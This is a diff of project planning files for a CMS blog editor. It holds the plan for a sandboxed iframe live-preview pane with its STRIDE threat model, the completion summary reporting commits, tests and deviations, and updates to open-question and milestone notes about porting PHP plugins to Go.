- Export `youtubeThumbnail(id)`, which returns the https://img.youtube.com/vi/ID/hqdefault.jpg URL. Call it only for ids that passed the provider idPattern, so no unchecked text reaches a URL.
|
||||
- Export `previewBody(html: string, labels: Labels): string`. It works on a copy:
|
||||
- Parse the copy into a template element created from inert().
|
||||
- Remove the script, iframe, frame, frameset, object, embed, meta, base and link elements, and every attribute whose lowercased name starts with 'on'. This is defense in depth on top of the sandbox, and the stored value never changes.
|
||||
- Replace each figure[data-embed] that is exactly the editor's placeholder with a card. "Exactly" means two attributes, no child nodes, isEmbedProvider(provider) and EMBED_PROVIDERS[provider].idPattern accepting the id, the same test as the Embed node's parse rule. The card is a figure with class embed-card holding an img and a figcaption. The img has src youtubeThumbnail(id), an empty alt, referrerpolicy no-referrer, loading lazy, width 480 and height 360. The figcaption's textContent is `${labels.embedCard}: ${EMBED_PROVIDERS[provider].name} ${id}`, the editor card's text, set through textContent so it is escaped.
|
||||
- Leave any other figure[data-embed] as it is, with no thumbnail request.
|
||||
- Return the copy's HTML through a div in the inert document.
|
||||
- Extend PreviewOptions with `colors?: PreviewColors` and `fontFamily?: string`. In buildPreviewDocument:
|
||||
- Put the html element's lang attribute only when options.lang matches /^[A-Za-z]{2,3}(-[A-Za-z0-9]{1,8})*$/.
|
||||
- Add one style element after the two metas, holding the post-body typography built from the given colours and font, with PREVIEW_DEFAULTS for anything missing.
|
||||
- Wrap previewBody(html, labels) in the article.
|
||||
- The typography mirrors the editor's .ProseMirror content rules, so the preview reads like a post body:
|
||||
- body: margin 0, padding 16px 20px, background surface, colour text, a 16px font with 1.7 line-height in the resolved family, overflow-wrap anywhere.
|
||||
- .post-body: max-width 72ch with auto side margins.
|
||||
- Headings h1 to h4 at weight 600 with sizes 1.875em, 1.5em, 1.25em and 1.1em and margin 1.4em 0 0.5em.
|
||||
- p, ul, ol, blockquote, table, figure and pre: margin 0 0 1em.
|
||||
- ul uses disc and ol uses decimal, each with 1.5em left padding.
|
||||
- Links: primary colour, underlined.
|
||||
- blockquote: a 3px borderStrong left border, 1em left padding and the muted colour.
|
||||
- code and pre: on the subtle colour with a monospace stack. pre gets padding and an 8px radius.
|
||||
- hr: a borderStrong top border.
|
||||
- img: max-width 100%, height auto.
|
||||
- Tables: collapse borders at full width. td and th get a 1px borderStrong border, 4px 8px padding and vertical-align top. th gets the subtle background, weight 600 and left alignment.
|
||||
- figcaption: 13px, muted, margin-top 4px.
|
||||
- .embed-card: max-width 480px, a 1px border-colour border, an 8px radius, overflow hidden and the subtle background. Its img gets display block, width 100%, aspect-ratio 16/9 and object-fit cover. Its figcaption gets 8px 12px padding and margin 0.
|
||||
- The stylesheet uses only the concrete resolved values.
|
||||
|
||||
2. element.ts:
|
||||
- Add `#schedulePreview()`. It returns unless #previewOn and the frame exist. Otherwise it clears the pending timer and sets #previewTimer = setTimeout(() => this.#renderPreview(), PREVIEW_DEBOUNCE_MS).
|
||||
- Call it in four places:
|
||||
- in the editor's onUpdate after #emitChange, which covers WYSIWYG typing, toolbar commands, undo and redo
|
||||
- at the end of #sourceInput (the Source tab)
|
||||
- at the end of the value setter after #load (an external value; the echo early return stays first, so an echo schedules nothing)
|
||||
- in attributeChangedCallback (locale changes the preview lang)
|
||||
- #renderPreview now passes `lang: this.getAttribute('locale')` and the result of resolvePreviewColors(this) to buildPreviewDocument. It skips assigning srcdoc when the built document equals the current srcdoc attribute, which avoids a needless reload.
|
||||
- Nothing else changes in the value, mode or event logic. The preview still reads only through the value getter.
|
||||
|
||||
3. Run `npm run build`, `bash scripts/check-dist.sh`, `npm test` and `go vet ./...` through bash -c. Commit only this task's files with the subject `feat(editor): live preview with embed cards and post typography` and a short body (the 300 ms debounce in both modes, thumbnail cards with no player, the preview-copy element and attribute drop, and colours resolved from the host). Add no co-author trailer.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>bash -c 'cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && npm test && bash scripts/check-dist.sh && go vet ./... && grep -qF "PREVIEW_DEBOUNCE_MS" assets/src/blogeditor/element.ts && grep -qF "schedulePreview" assets/src/blogeditor/element.ts && grep -qF "resolvePreviewColors" assets/src/blogeditor/element.ts && grep -qF "idPattern" assets/src/blogeditor/preview.ts && grep -qF "inert()" assets/src/blogeditor/preview.ts && grep -qF "img.youtube.com" assets/dist/blogeditor.js && test "$(grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js)" = 0 && test "$(grep -E "^[^ @/*}].*\{" assets/src/blogeditor/blogeditor.css | grep -vc "^golem15-journal-blogeditor")" = 0 && test "$(grep -cE "#[0-9a-fA-F]{3,8}|rgba?\(|hsla?\(" assets/src/blogeditor/blogeditor.css)" = 0 && git diff --quiet 9d5bfc4 HEAD -- tests/blogeditor/smoke.test.ts tests/blogeditor/corpus.test.ts tests/blogeditor/helpers.ts tests/blogeditor/fixtures package.json package-lock.json && st=$(git status --porcelain -- assets tests) && test -z "$st" && files=$(git show --name-only --format= HEAD) && test -z "$(grep -vxF -e "" -e assets/src/blogeditor/preview.ts -e assets/src/blogeditor/element.ts -e assets/src/blogeditor/toolbar.ts -e assets/src/blogeditor/labels.ts -e assets/src/blogeditor/blogeditor.css -e assets/dist/blogeditor.js -e assets/dist/blogeditor.css -e tests/blogeditor/preview.test.ts <<< "$files")" && body=$(git log -1 --format=%B) && test -z "$(grep -i co-authored-by <<< "$body")" && subj=$(git log -1 --format=%s) && grep -q preview <<< "$subj"'</automated>
|
||||
</verify>
|
||||
<done>The preview re-renders 300 ms after the last WYSIWYG edit, Source input or external value, never while it is off and never after detach. YouTube placeholders show as img.youtube.com thumbnail cards with the localized label and no iframe. Active elements and on* attributes are absent from the preview copy while the value keeps them byte for byte. The srcdoc carries post-body typography with resolved or default colours and no var(--c-. All vitest files pass, check-dist is green, go vet is clean, and one feat(editor) commit holds only the task's files.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: README Blog Editor and Admin sections, final gate</name>
|
||||
<files>../sm-journal-plugin/README.md</files>
|
||||
<read_first>
|
||||
- README.md, the "### Blog Editor" and "### Admin: Blog Editor field types" sections (grep -n for the headings, then read that range only)
|
||||
- preview.ts as committed, so every identifier and value the README names matches the code
|
||||
</read_first>
|
||||
<action>
|
||||
1. In "### Blog Editor", extend the toolbar sentence of the first paragraph so it also lists a Preview toggle.
|
||||
|
||||
2. Add a bullet that starts with "**Preview.**" after the "Embeds" bullet. It states:
|
||||
- The Preview button ('Podgląd' for ui-locale pl) is off by default and per element. It shows its state through aria-pressed.
|
||||
- It splits the editor 50/50, and the pane wraps below the editor when the element is narrower than about 720px.
|
||||
- The pane renders the current value from the WYSIWYG or Source tab 300 ms (`PREVIEW_DEBOUNCE_MS`) after the last change. Each update reloads the frame.
|
||||
- The frame is an `<iframe srcdoc>` with an empty `sandbox` attribute, so no scripts run and its origin is opaque. It has `referrerpolicy="no-referrer"` and a Content-Security-Policy meta (`PREVIEW_CSP`) that allows only inline styles and images.
|
||||
- The preview copy leaves out script, iframe, frame, frameset, object, embed, meta, base and link elements and event handler attributes.
|
||||
- YouTube placeholders show as thumbnail cards loaded from img.youtube.com, never as a player. This, with the post's own images, is the only network traffic the pane makes.
|
||||
- The styling is post-body typography, with `--c-*` values read from the element at render time or neutral defaults.
|
||||
- Previewing never fires `summer-change` and never changes the value, so an untouched post is still saved byte for byte.
|
||||
|
||||
3. In "### Admin: Blog Editor field types", add one sentence after the type table: both types show the element's Preview pane, and previewing never changes what a save stores.
|
||||
|
||||
4. Name no consuming application. Every identifier you name (`PREVIEW_DEBOUNCE_MS`, `PREVIEW_CSP`, `summer-change`) must exist in the code.
|
||||
|
||||
5. Commit README.md alone with the subject `docs(readme): blog editor preview pane` and no co-author trailer.
|
||||
|
||||
6. Run the final gate in the verify command, and do not push. In the SUMMARY:
|
||||
- Record the three commit SHAs.
|
||||
- Record the bundle sizes before and after (the 16.2-02 baseline was 466,051 bytes).
|
||||
- Note that the 50/50 split, the narrow-width wrap, real sandbox enforcement and thumbnail loading are a browser check for the user, which happy-dom cannot do.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>bash -c 'cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && npm test && bash scripts/check-dist.sh && go vet ./... && grep -qF "**Preview.**" README.md && grep -qF "Podgląd" README.md && grep -qF "sandbox" README.md && grep -qF "img.youtube.com" README.md && grep -qF "PREVIEW_DEBOUNCE_MS" README.md && grep -qF "PREVIEW_CSP" README.md && test "$(grep -Eic "grzyby|fonoteka|plytarium|płytarium" README.md)" = 0 && shas=$(git log --format=%H 9d5bfc4..HEAD) && test "$(grep -c . <<< "$shas")" -ge 3 && bodies=$(git log --format=%B 9d5bfc4..HEAD) && test -z "$(grep -i co-authored-by <<< "$bodies")" && changed=$(git diff --name-only 9d5bfc4 HEAD) && test -z "$(grep -vxF -e "" -e README.md -e assets/src/blogeditor/preview.ts -e assets/src/blogeditor/element.ts -e assets/src/blogeditor/toolbar.ts -e assets/src/blogeditor/labels.ts -e assets/src/blogeditor/blogeditor.css -e assets/dist/blogeditor.js -e assets/dist/blogeditor.css -e tests/blogeditor/preview.test.ts <<< "$changed")" && git diff --quiet 9d5bfc4 HEAD -- tests/blogeditor/smoke.test.ts tests/blogeditor/corpus.test.ts tests/blogeditor/helpers.ts tests/blogeditor/fixtures package.json package-lock.json go.mod go.sum && st=$(git status --porcelain) && test -z "$(grep -vxF -e "" -e "?? go.work.sum" <<< "$st")" && subj=$(git log -1 --format=%s) && grep -q "^docs(readme)" <<< "$subj"'</automated>
|
||||
</verify>
|
||||
<done>The README's Blog Editor section lists the Preview toggle and has a Preview bullet covering the toggle, layout, debounce, sandbox, CSP, embed cards, typography and the value contract. The Admin field types section notes that previewing never changes what is saved. The final gate is green: vitest, check-dist and go vet. The branch has at least three local commits since 9d5bfc4 that touch only the listed files, carry no co-author trailer and leave package.json, the lockfile, go.mod, go.sum and the existing tests unchanged. The working tree is clean apart from go.work.sum. Nothing is pushed.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| stored or admin-pasted post HTML → preview iframe | Untrusted markup (raw HTML blocks, Source tab text, imported posts) is rendered as a live document for the first time in the admin |
|
||||
| preview iframe → admin origin | The admin page holds the session, the admin DOM and the SPA state; the preview document must not reach them |
|
||||
| preview iframe → third parties (img.youtube.com, image hosts) | Rendering triggers network requests from the administrator's browser |
|
||||
| host page CSS (--c-* values) → srcdoc stylesheet | Values computed from the admin's CSS are interpolated into the preview document |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-iwu-01 | Elevation of Privilege (script execution, admin XSS) | element.ts preview iframe, preview.ts buildPreviewDocument | high | mitigate | The iframe's sandbox attribute is exactly '' (PREVIEW_SANDBOX), so no scripts run. Content enters only through srcdoc, with no src and no allow. The srcdoc inherits the admin CSP (script-src 'self') and adds PREVIEW_CSP (default-src 'none'). previewBody also drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every on* attribute from the copy. The Task 1 test pins sandbox === '' with no allow-scripts. The Task 2 test pins the active-content drop. |
|
||||
| T-iwu-02 | Information Disclosure (admin origin, session, DOM) | preview iframe origin | high | mitigate | There is no allow-same-origin token, so the srcdoc document has an opaque origin. It cannot read admin cookies, storage, the parent DOM or the SPA, and the parent never reaches into contentDocument. The Task 1 sandbox test pins this. |
|
||||
| T-iwu-03 | Information Disclosure (third-party requests) | YouTube thumbnail cards, post images | low | mitigate | A thumbnail is requested only while the preview is switched on (off by default), and only for ids that pass the provider idPattern. The thumbnail URL is youtubeThumbnail(id), so no free text reaches a URL. The img has referrerpolicy no-referrer, the srcdoc has a no-referrer meta, and the admin's same-origin Referrer-Policy is inherited, so the admin URL never leaks. PREVIEW_CSP limits network access to images: fonts, stylesheets, frames and media are blocked. Residual risk (accepted): the administrator's IP and user agent reach img.youtube.com, the same exposure every site visitor gets from the layer's player. |
|
||||
| T-iwu-04 | Tampering (stored value integrity) | element.ts #renderPreview and #schedulePreview | medium | mitigate | The preview reads only the value getter: clean returns the exact string, source returns the Source text, and wysiwyg calls the pure serializeDocument. It never calls getHTML, setContent, #load or #emitChange, never dispatches transactions and never writes value fields. Tests assert no summer-change, el.value === fixture, editor.state.doc identity and serializeDocument not called for an untouched post. smoke.test.ts and corpus.test.ts stay unedited and green. |
|
||||
| T-iwu-05 | Spoofing (navigation, phishing from previewed links) | preview iframe | low | mitigate | The empty sandbox blocks top navigation, popups and form submission, so a click on a previewed link can only navigate the sandboxed frame itself. The meta refresh element is dropped from the copy, and the inherited base-uri 'none' blocks a pasted base element. |
|
||||
| T-iwu-06 | Tampering (CSS injection into srcdoc) | preview.ts resolvePreviewColors and safeCssValue | low | mitigate | Every computed --c-* value and the font family pass safeCssValue. A value that contains characters able to close the style element or start a rule (angle or curly brackets, semicolon, backslash, comment opener), or that runs over 200 characters, falls back to PREVIEW_DEFAULTS. Unit cases cover each. |
|
||||
| T-iwu-07 | Denial of Service (render per keystroke on long posts) | element.ts #schedulePreview | low | mitigate | A 300 ms debounce applies, nothing runs while the preview is off, the timer is cleared on toggle off and on disconnect, and an identical srcdoc is not re-assigned. Tests cover the debounce reset, the idle-when-off case and detach. |
|
||||
| T-iwu-SC | Tampering | npm/pip/cargo installs | low | accept | No package is added. The Task 1 to Task 3 gates diff package.json and package-lock.json against 9d5bfc4. The build uses the committed lockfile through check-dist.sh. |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- `bash -c 'cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && npm test'`: smoke.test.ts, corpus.test.ts and preview.test.ts all pass, and the first two are unedited.
|
||||
- `bash -c 'cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && bash scripts/check-dist.sh'` prints `check-dist: assets/dist matches a fresh build`.
|
||||
- `go -C /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin vet ./...` is clean.
|
||||
- `git -C /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin log --oneline 9d5bfc4..HEAD` shows the three commits (two feat(editor), one docs(readme)), and nothing is pushed.
|
||||
- Browser check (human judgment, recorded in the SUMMARY and not blocking): in the admin post form, Preview splits the editor 50/50 in light and dark mode, and the pane wraps below the editor in a narrow window. A `<script>` in a raw HTML block does nothing in the pane. A YouTube embed shows its thumbnail card.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- The localized Preview toggle, with aria-pressed and per-element state that is off by default, splits the editor 50/50 and wraps the pane below the editor on narrow widths.
|
||||
- The pane is a srcdoc iframe with an empty sandbox attribute, a CSP meta and a no-referrer meta. It updates live with a 300 ms debounce in WYSIWYG and Source modes.
|
||||
- YouTube placeholders show as img.youtube.com thumbnail cards with a label, with no iframe. The preview uses post-body typography with resolved --c-* values or neutral defaults, and blogeditor.css stays tag-scoped with --c-* colours only.
|
||||
- The value contract holds: toggling or previewing never emits summer-change, never serializes an untouched document and never changes the value. The existing untouched-value tests pass unedited.
|
||||
- assets/dist is rebuilt and committed, check-dist is green, go vet is clean, the README Blog Editor and Admin sections are updated, there are no co-author tags, and nothing is pushed or deployed.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `/media/nvme/dev/golem15/summercms.io/summercms/summercms.go/.planning/quick/261010-iwu-blog-editor-live-preview-pane-toggleable/261010-iwu-SUMMARY.md` when done. It records `commits_repo: ../sm-journal-plugin`, the three commit SHAs, the bundle size delta, the TDD RED evidence for Task 2 and the browser check as a human_judgment coverage item.
|
||||
</output>
|
||||
@@ -0,0 +1,147 @@
|
||||
---
|
||||
phase: quick-261010-iwu
|
||||
plan: 01
|
||||
subsystem: journal-blogeditor
|
||||
status: complete
|
||||
tags: [blog-editor, preview, iframe, sandbox, csp, tiptap, journal]
|
||||
commits_repo: ../sm-journal-plugin
|
||||
requires:
|
||||
- "16.2-02 Blog Editor element (value contract, toolbar, labels, embed placeholder)"
|
||||
provides:
|
||||
- "Toggleable live preview pane in golem15-journal-blogeditor (sandboxed iframe srcdoc)"
|
||||
- "preview.ts: PREVIEW_SANDBOX, PREVIEW_CSP, PREVIEW_DEBOUNCE_MS, PREVIEW_DEFAULTS, safeCssValue, resolvePreviewColors, youtubeThumbnail, previewBody, buildPreviewDocument"
|
||||
affects:
|
||||
- "sm-journal-plugin assets/dist (embedded admin bundle)"
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Read-only preview through the value getter only (no serializer for an untouched document)"
|
||||
- "Lazy iframe creation on first switch-on"
|
||||
- "Inert-document copy for preview transforms (active-content drop, embed thumbnail cards)"
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/preview.test.ts
|
||||
modified:
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/README.md
|
||||
decisions:
|
||||
- "The preview iframe is created on the first switch-on, not at connect, because the unedited smoke test asserts the element holds no iframe after mount; it also means an element that never previews has no extra browsing context"
|
||||
- "Task 2 shipped as one feat commit (no separate RED test commit) so npm test stays green at every commit; the RED evidence is recorded here"
|
||||
metrics:
|
||||
duration: "~20 min"
|
||||
completed: 2026-10-10
|
||||
tasks: 3
|
||||
files: 9
|
||||
estimate:
|
||||
tokens: 70000
|
||||
tasks: 3
|
||||
actuals:
|
||||
tokens: 10058 # chars/4 over the realized diff of sources, tests and README (40,233 chars; the regenerated assets/dist bundle excluded)
|
||||
tasks: 3
|
||||
commits: 3
|
||||
plan_head_before: 9d5bfc4a3597be8ba4abee26d80dc2b81d343da8
|
||||
plan_head_after: 2c78211cb90e27cf8515b104613c3eac1a0aca5f
|
||||
---
|
||||
|
||||
# Quick 261010-iwu Plan 01: Blog Editor Live Preview Pane Summary
|
||||
|
||||
A per-element Preview/Podgląd toggle on the Journal Blog Editor splits the editor 50/50 with an auto-fit grid. The second pane is an `<iframe srcdoc>` with an empty `sandbox` attribute, a CSP meta and a no-referrer meta. It re-renders 300 ms after the last change in WYSIWYG or Source mode, shows YouTube placeholders as img.youtube.com thumbnail cards and uses post-body typography with colours resolved from the host's `--c-*` variables. It reads only the value getter, so an untouched post still saves byte for byte.
|
||||
|
||||
## Commits (sm-journal-plugin, branch main, not pushed)
|
||||
|
||||
| Task | Commit | Message |
|
||||
|------|--------|---------|
|
||||
| 1 | `df67939` | feat(editor): toggleable preview pane in a sandboxed frame |
|
||||
| 2 | `c1f6a83` | feat(editor): live preview with embed cards and post typography |
|
||||
| 3 | `2c78211` | docs(readme): blog editor preview pane |
|
||||
|
||||
`git rev-list --count 9d5bfc4..HEAD` = 3. No commit has a co-author trailer. `go.work.sum` stays untracked.
|
||||
|
||||
## What was built
|
||||
|
||||
- **labels.ts:** `preview` / `previewFrame` labels: 'Preview' / 'Post preview' (en) and 'Podgląd' / 'Podgląd wpisu' (pl).
|
||||
- **toolbar.ts:** a `div.blogeditor__view` holding `button[data-command=preview]` with `aria-pressed`, placed outside the tablist and the `buttons` array so `refresh()` never disables it. Adds `ToolbarHost.togglePreview` and `Toolbar.setPreview`.
|
||||
- **element.ts:**
|
||||
- Per-instance `#previewOn` (off by default) and a public `showPreview(on)`.
|
||||
- The editor and the Source textarea now sit inside `div.blogeditor__main`, which is inside `div.blogeditor__panes`, next to a hidden `div.blogeditor__preview`.
|
||||
- The iframe is created lazily with `sandbox=""` and `referrerpolicy=no-referrer`.
|
||||
- `#renderPreview()` reads only `this.value` and skips an identical srcdoc.
|
||||
- `#schedulePreview()` debounces renders. It is called from onUpdate, `#sourceInput`, the value setter (after the echo early return) and attributeChangedCallback.
|
||||
- The timer is cleared on toggle-off and on disconnect.
|
||||
- **preview.ts:**
|
||||
- Constants and `safeCssValue`.
|
||||
- `resolvePreviewColors`, which uses getComputedStyle with fallbacks to `PREVIEW_DEFAULTS`.
|
||||
- `youtubeThumbnail`.
|
||||
- `previewBody`: an inert-document copy that drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every `on*` attribute. It turns exact placeholders, checked with `isEmbedProvider` and `idPattern`, into `figure.embed-card` with an img and a figcaption.
|
||||
- `buildPreviewDocument`: charset, CSP and referrer metas, one `<style>`, `lang` only when it matches the BCP-47-ish pattern, and `article.post-body`.
|
||||
- **blogeditor.css:** `.blogeditor__view`, `.blogeditor__panes--split` (`repeat(auto-fit, minmax(min(100%, 360px), 1fr))`), `.blogeditor__main`, `.blogeditor__preview` and its iframe. All are tag-scoped and use only `var(--c-*)`.
|
||||
- **tests/blogeditor/preview.test.ts:** 23 cases covering the toggle and aria-pressed, the locale, per-element state, lazy frame creation, usability in Source and disabled, the sandbox and CSP, the untouched and touched value contract, debounced live updates (WYSIWYG, debounce reset, Source, external value, idle when off, detach, untouched after renders), embed cards (en and pl), the invalid placeholder, the active-content drop, colours, lang and typography, and safeCssValue unit cases.
|
||||
- **README.md:** the Blog Editor toolbar sentence, a "**Preview.**" bullet and an Admin field-types sentence.
|
||||
|
||||
## TDD Gate Compliance (Task 2)
|
||||
|
||||
RED: the 14 Task 2 cases were added first and run against the Task 1 code (`node_modules/.bin/vitest run tests/blogeditor/preview.test.ts`). 10 of them failed:
|
||||
- live updates: re-renders a WYSIWYG edit after the debounce; restarts the debounce on every change; re-renders Source tab input; re-renders an external value
|
||||
- content: YouTube thumbnail card; active-content drop; colours; lang and typography
|
||||
- safeCssValue: both cases (export missing)
|
||||
|
||||
4 passed already: schedules nothing while off, drops a pending render on detach, untouched after renders, and no thumbnail for an invalid placeholder. They hold trivially when there is no scheduling or no card. They are guards, not drivers.
|
||||
|
||||
GREEN: after the preview.ts and element.ts changes, all 55 tests in the three files pass.
|
||||
|
||||
## Bundle size
|
||||
|
||||
| File | 16.2-02 baseline / before | After |
|
||||
|------|---------------------------|-------|
|
||||
| assets/dist/blogeditor.js | 466,051 B | 471,714 B (+5,663 B; 149.65 kB gzip) |
|
||||
| assets/dist/blogeditor.css | 7,480 B | 8,036 B (+556 B) |
|
||||
|
||||
## Verification
|
||||
|
||||
- `npm test`: 55/55 pass (smoke 31, corpus, preview 23). smoke.test.ts, corpus.test.ts, helpers.ts and the fixtures are unchanged against 9d5bfc4.
|
||||
- `bash scripts/check-dist.sh` prints `check-dist: assets/dist matches a fresh build`.
|
||||
- `go vet ./...` is clean.
|
||||
- package.json, package-lock.json, go.mod and go.sum are byte-identical to 9d5bfc4.
|
||||
- All three task verify commands passed, including the Task 1 tracer re-run before expansion.
|
||||
|
||||
## Human judgment (browser check, not blocking)
|
||||
|
||||
happy-dom cannot check these, so they need a look in a real browser in the admin post form:
|
||||
- Preview splits the editor 50/50 in light and dark mode, and the pane wraps below the editor in a narrow window (under about 720px element width).
|
||||
- A `<script>` in a raw HTML block does nothing in the pane (real sandbox enforcement).
|
||||
- A YouTube embed shows its thumbnail card, and the image loads under the admin CSP plus PREVIEW_CSP.
|
||||
- Relative image URLs (`/storage/...`) resolve in the srcdoc against the admin origin.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] Iframe created lazily instead of at connect**
|
||||
- **Found during:** Task 1
|
||||
- **Issue:** The plan had connectedCallback create the iframe up front. The unedited smoke test `embeds > round-trips the exact placeholder and shows a card, never an iframe` asserts `el.querySelector('iframe')` is null after mount, so it failed.
|
||||
- **Fix:** `#previewFrameOf()` creates the iframe in the pane on the first `showPreview(true)` and reuses it afterwards. The pane div still exists, hidden, from connect. `#schedulePreview` stays idle until a frame exists. The locale test toggles on before reading the frame title, and a new case asserts there is no iframe before the first switch-on and exactly one after repeated toggles.
|
||||
- **Files modified:** element.ts, preview.test.ts
|
||||
- **Commit:** df67939
|
||||
|
||||
## Out-of-scope observation
|
||||
|
||||
The active-content test value holds `<iframe src="https://example.test/">`. When that value is mounted, happy-dom logs `ENOTFOUND example.test` fetch errors (stderr only, and the tests pass). A probe showed the source is `mount()` alone, meaning TipTap's existing `elementFromString` parses through `window.DOMParser`. Neither `previewBody` (inert document) nor the sandboxed srcdoc frame triggers it. Browsers do not load subresources in DOMParser documents, so this is a happy-dom artifact in the existing editor parse path. It predates this task and was not changed.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
None. The only new surface is the sandboxed srcdoc iframe and thumbnail requests to img.youtube.com, both covered by the plan's threat model (T-iwu-01 to T-iwu-07).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: assets/src/blogeditor/preview.ts and tests/blogeditor/preview.test.ts
|
||||
- FOUND commits: df67939, c1f6a83, 2c78211 (in sm-journal-plugin `git log`)
|
||||
@@ -4,6 +4,11 @@
|
||||
|
||||
- **Does PaymentGateway need `winter/location`?** It is installed in 19 projects. Check whether PaymentGateway shipping addresses, the shop or user profiles read its countries and states. If they do, Phase 18 needs a Go equivalent (a framework module or an `sm-location-plugin`). Phase: 18.
|
||||
- **Does Horoskopia define the full Phase 18 acceptance contract?** Which `vue-horoskopia-app` requests reach PaymentGateway or subscription code? Do they cover the order and refund paths, or only subscriptions? Are other order flows tested only through hand-written host tests? Phase: 18.
|
||||
- **Which chat source should Phase 19 port?** Wavepath's chat has `root_id` threading and `thread_summaries`. Compare it with the starter's `wn-chat-plugin` and the other 16 copies, and pick the newest as the 1:1 source. Phase: 19.
|
||||
- ~~**Which chat source should Phase 19 port?**~~ **Settled 2026-10-11:** port the Wavepath copy, with `root_id` threading and `thread_summaries`. See `.planning/notes/wavepath-framework-asks-division.md`. Phase: 19.
|
||||
- **Does any Płytarium route need userfriends?** PHP fonoteka has `golem15/userfriends`, but fonoteka.go has no port, and Phase 14 reached 175/175 routes without one. Confirm before porting it for Wavepath in Phase 19.1, so there is one shared copy. Phase: 19.1.
|
||||
- **How should Herald's Web Push be done in Go?** Herald uses `minishlink/web-push`. Choose a Go Web Push/VAPID library (or a stdlib implementation) and record it in a decision note before Phase 19.1 code lands. Phase: 19.1.
|
||||
|
||||
## From the WavePath framework asks exploration (2026-10-11)
|
||||
|
||||
- **Should the full OIDC provider extend the hand-written `wristband` server, or put zitadel/oidc v3 behind it?** Phase 8 hand-wrote `wristband` on the standard library (`.planning/notes/oauth2-wristband-direct-port.md`). Phase 19.4 adds discovery, JWKS with RS256/ES256 rotation, `id_token`, userinfo, consent and pairwise subjects. That is protocol and security code where a maintained library is preferred, and zitadel/oidc v3 is already named in the stack. Settle it in a decision note before code lands. Phase: 19.4.
|
||||
- **Do WavePath's user-plugin tokens carry custom scopes?** If they do, `sm-user-plugin` needs a `RegisterAPITokenScope` hook in place of the static `AllowedAPITokenScopes`. Ask the WavePath side. Phase: 19.3 or the WavePath milestone.
|
||||
|
||||
@@ -3,7 +3,7 @@ id: SEED-261007-0tb
|
||||
status: dormant
|
||||
planted: 2026-10-07
|
||||
planted_during: Phase 16 (context gathered)
|
||||
trigger_when: The Horoskopia port (SEED-261007-j2b) is complete, and Phases 19 and 19.1 (chat and the chat satellites) are done.
|
||||
trigger_when: Phase 20 (Płytarium cutover) is complete. Phases 19 to 19.6 already deliver the framework and shared-plugin work WavePath needs.
|
||||
scope: Large
|
||||
---
|
||||
|
||||
@@ -15,27 +15,30 @@ Wavepath (`/media/nvme/dev/jz/wavepath.org`) is the largest Golem15 app and the
|
||||
|
||||
## When to Surface
|
||||
|
||||
**Trigger:** after the Horoskopia port, with Phases 19 and 19.1 done. This stretch is about preparing the shared plugins, not migrating apps, and a stabilization phase after Phase 20 may come first.
|
||||
**Trigger:** once Phase 20 is complete. Phases 19 to 19.6 come first and cover WavePath's framework asks (chat, chat polish, transport and infrastructure, OIDC, social login, 2FA and device flow). The milestone no longer waits for the Horoskopia port (changed 2026-10-11).
|
||||
|
||||
## Scope Estimate
|
||||
|
||||
**Large:** a milestone, probably larger than Płytarium:
|
||||
|
||||
- **App plugin:** `wavepath` has 30.6k PHP LOC and **255 routes**, compared with Płytarium's 175. Expect 2–3 API phases plus a cutover phase.
|
||||
- **App plugin:** `wavepath` has 30.6k PHP LOC and **255 routes**, compared with Płytarium's 175. The whole backend surface the clients use is about **350 routes** (wavepath 255, user 46, journal 11, oauthserver 10, chatvideo 6, userfriends 5, feedback 3, and a few small ones), with about 90 tables and 164 migrations. PHP routes are not frozen, so re-count when the milestone opens. Expect 3–4 API phases plus a cutover phase.
|
||||
- **Database:** WavePath moves from MariaDB to Postgres as part of the port, through `summer import:winter`. This replaces WavePath's planned Laravel 12 upgrade.
|
||||
- **Clients:** `vue-wavepath-app`, `wavepath-mcp`, `tauri-wavepath-desktop`, `electron-wavepath` and `hubot-wavepath`. All of them define the parity contract.
|
||||
- **Required shared plugins:**
|
||||
- Ported: user.
|
||||
- Phase 19: chat, chatchannels.
|
||||
- Phase 19.1: chatbots, chatvideo, forum, herald, userfriends.
|
||||
- Already covered by framework `lighthouse`: websockets.
|
||||
- **OAuth:** `oauthserver` (5.5k LOC, 10 routes, OIDC) sits on the framework's `wristband` package. OIDC parts (id_token, userinfo) may be new to `wristband`.
|
||||
